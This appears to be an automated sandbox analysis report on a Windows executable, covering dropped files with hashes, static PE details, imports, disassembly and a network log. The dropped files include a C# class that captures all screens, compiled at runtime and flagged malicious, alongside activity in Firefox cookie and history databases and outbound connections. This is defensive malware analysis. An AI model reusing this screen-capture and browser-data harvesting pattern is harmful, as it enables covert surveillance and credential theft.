Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0clym3x.spo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q4sddb5k.axe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcirmo2y.tpk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\iqddoona\CSCE5D39DCC87804C2589D261464B53262.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0730049765594893
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry9qGak7Ynqq8qXPN5Dlq5J:+RI+ycuZhNyGakSjXPNnqX
MD5:	04E8F26F432EC94FFE8EED63E30E7DCC
SHA1:	6CE77DC910461A7E7428599D9E8D0507474BFE9D
SHA-256:	D71605F734D8CFDB58F64C2E277A079399E8475EF5FD2E0CD47B1FFB833C2D1F
SHA-512:	6DBA8EFB1ACE08B024EFDF00C88AD42C9EB735EBD0FA3C1A61A18C55B8A45D51E7DE33FB1D1D7C89293CBC5E0FF87950F575D5BFD22127155D767A11ACB3C198
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...i.q.d.d.o.o.n.a...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...i.q.d.d.o.o.n.a...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.302207023022631
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOf5L0WZEif59H:V3ka6KOkqeFkOfjEif3
MD5:	B4A3BC3A2E6C12756302D6A08156135F
SHA1:	F35F08BC95C7B770DE3A0C5F8101E37F9E7403DB
SHA-256:	85EED39F14FE8D83E7F6BB1112EE64928F1B84BF15D39601678BF81FBC453061
SHA-512:	28C1995AA858DBAE51067B2FCB42EEC16EDDF35AF1A953C649B3F16620B1FDEBF2C9DBB159B842A5EEC4D51C55B03B60312708897D9ABA593CC4CF3247723681
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.0.cs"

C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.152283754016436
Encrypted:	false
SSDEEP:	48:647oEAtf0KhzBU/df6mtJ2N0fpW1ulla35q:oNz0kmeO/3K
MD5:	9986D70705A2DC5B5C50A01DEABD7B65
SHA1:	606163F5A966CE3AB6C5DE90B07095A1D3548A44
SHA-256:	8D750E6C548994D3B7A85CBDCB30151A9ADD4AE2F3039E038BA6840565B14518
SHA-512:	0A39A53579C16930D527AF16BB94BB00D222C3DF7AC4402183F807AF8346B3EAAB99A8326550F95889D6C2CE9C2B9D8212C9008ABD5988756E83200B691DB939
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....tg...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (734), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1155
Entropy (8bit):	5.449810011974728
Encrypted:	false
SSDEEP:	24:KJfUId3ka6KOkqeFkOfjEif+Kax5DqBVKVrdFAMBJTH:uUkka6NkqeFkyjEu+K2DcVKdBJj
MD5:	499208F60B4D2BC15560E2E69DDE8320
SHA1:	039BF437AA1B85413BCE6C4CF61F681FE3E68DA9
SHA-256:	1A14BDBBD338520C155F1A6D09359B0F474C6ED467FBF7C7BABA88713CA45AD7
SHA-512:	3811014783B0794209510A5B24C46C0F83498B961536656B5336958F17194990220CC17BC92C6A22FC456DA90D3247997E4F728C71A0C1938FE241082D2F7F46
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no

C:\Users\user\AppData\Local\Temp\pfo4_7b_

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.996640205330543
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rename_me_before.exe
File size:	11'803'970 bytes
MD5:	8b8040d5875e4c41ed5091f92021a16b
SHA1:	4ebb7b91e64a7193b61a0e1405847ed13563f7d5
SHA256:	7e7597691235f0ff8a8df29ee3e54ea7a69b43b4ef727adf511e7aec749dc68a
SHA512:	4703f8ad9543f2aa47a1c964e13c7bad48a593284d53baac3581d6b584e63cad5c88afe6aca2c8f2c708369e757b2cd150b95247c01bfd8b58d6915fed524a7a
SSDEEP:	196608:AUC1IYDEmmtSBLjv+bhqNVobZ1Uh8mAIv9P5jQ1KJEaKOlx:TC+OEZtSZL+9qzGZeII3MCCOlx
TLSH:	0BC6332893E40AF6FD6B54399246C566DB3339620BB1E8CB53FC862A2F035D1DC36B51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Xhc.Xhc.Xhc...`._hc...f..hc...g.Rhc.....[hc...`.Qhc...g.Ihc...f.phc...b.Shc.Xhb..hc.K.g.Ahc.K.a.Yhc.RichXhc.........PE..d..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000c0d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6697E503 [Wed Jul 17 15:36:35 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	456e8615ad4320c9f54e50319a19df9c

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FF7487A1AACh
dec eax
add esp, 28h
jmp 00007FF7487A16CFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FF7487A1E78h
test eax, eax
je 00007FF7487A1873h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FF7487A1857h
dec eax
cmp ecx, eax
je 00007FF7487A1866h
xor eax, eax
dec eax
cmpxchg dword ptr [0003843Ch], ecx
jne 00007FF7487A1840h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FF7487A1849h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FF7487A1859h
mov byte ptr [00038425h], 00000001h
call 00007FF7487A0FA5h
call 00007FF7487A2290h
test al, al
jne 00007FF7487A1856h
xor al, al
jmp 00007FF7487A1866h
call 00007FF7487AED9Fh
test al, al
jne 00007FF7487A185Bh
xor ecx, ecx
call 00007FF7487A22A0h
jmp 00007FF7487A183Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000383ECh], 00000000h
mov ebx, ecx
jne 00007FF7487A18B9h
cmp ecx, 01h
jnbe 00007FF7487A18BCh
call 00007FF7487A1DEEh
test eax, eax
je 00007FF7487A187Ah
test ebx, ebx
jne 00007FF7487A1876h
dec eax
lea ecx, dword ptr [000383D6h]
call 00007FF7487AEB92h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c76c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x49000	0x92c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x46000	0x2208	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a000	0x768	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39dc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39c80	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x450	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29210	0x29400	aca64598002ecff9eefbc96554edf015	False	0.5511067708333334	data	6.4784482217419175	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12642	0x12800	fbe06eaab419c41c7764750dc7eacbcc	False	0.5245592271959459	data	5.750825186203614	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x73d8	0xe00	d0a288978c66419b180b35f625b6dce7	False	0.13532366071428573	data	1.8378139998458343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x46000	0x2208	0x2400	74cf3ea22e0a1756984435d6f80f7da5	False	0.4671223958333333	data	5.259201915045256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x49000	0x92c	0xa00	218ed766dcf431d387489105d0d36472	False	0.42578125	data	5.1444379013012504	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4a000	0x768	0x800	71de9271648326ec88350e903470cf3e	False	0.5576171875	data	5.283119454571673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x490a0	0x37c	data			0.460762331838565
RT_MANIFEST	0x4941c	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, GetLastError, FormatMessageW, GetModuleFileNameW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, CreateDirectoryW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, GetEnvironmentStringsW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, WaitForSingleObject, Sleep, GetCurrentProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, IsProcessorFeaturePresent, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 02:53:05.386758089 CET	49739	80	192.168.2.4	208.95.112.1
Jan 1, 2025 02:53:05.392743111 CET	80	49739	208.95.112.1	192.168.2.4
Jan 1, 2025 02:53:05.392821074 CET	49739	80	192.168.2.4	208.95.112.1
Jan 1, 2025 02:53:05.393385887 CET	49739	80	192.168.2.4	208.95.112.1
Jan 1, 2025 02:53:05.398155928 CET	80	49739	208.95.112.1	192.168.2.4
Jan 1, 2025 02:53:05.850951910 CET	80	49739	208.95.112.1	192.168.2.4
Jan 1, 2025 02:53:05.851802111 CET	49739	80	192.168.2.4	208.95.112.1
Jan 1, 2025 02:53:05.856730938 CET	80	49739	208.95.112.1	192.168.2.4
Jan 1, 2025 02:53:05.857248068 CET	49739	80	192.168.2.4	208.95.112.1
Jan 1, 2025 02:53:19.620937109 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:19.620968103 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:19.621056080 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:19.621670008 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:19.621680975 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.096553087 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.097295046 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.097311974 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.098354101 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.098436117 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.100450993 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.100450993 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.100514889 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.100641966 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.141009092 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.141015053 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.187891960 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.296360016 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.296469927 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.296669960 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.297401905 CET	49751	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.297413111 CET	443	49751	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.300766945 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.300801039 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.301023960 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.301423073 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.301438093 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.758567095 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.759187937 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.759205103 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.760251999 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.760308981 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.762096882 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.762170076 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.762465000 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.762470961 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.762574911 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.807341099 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.812860012 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.975532055 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.975666046 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.975716114 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.976432085 CET	49752	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:20.976444960 CET	443	49752	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:20.979077101 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:20.979118109 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:20.979367018 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:20.979947090 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:20.979963064 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.443108082 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.443856955 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.443871021 CET	443	49753	162.159.128.233	192.168.2.4
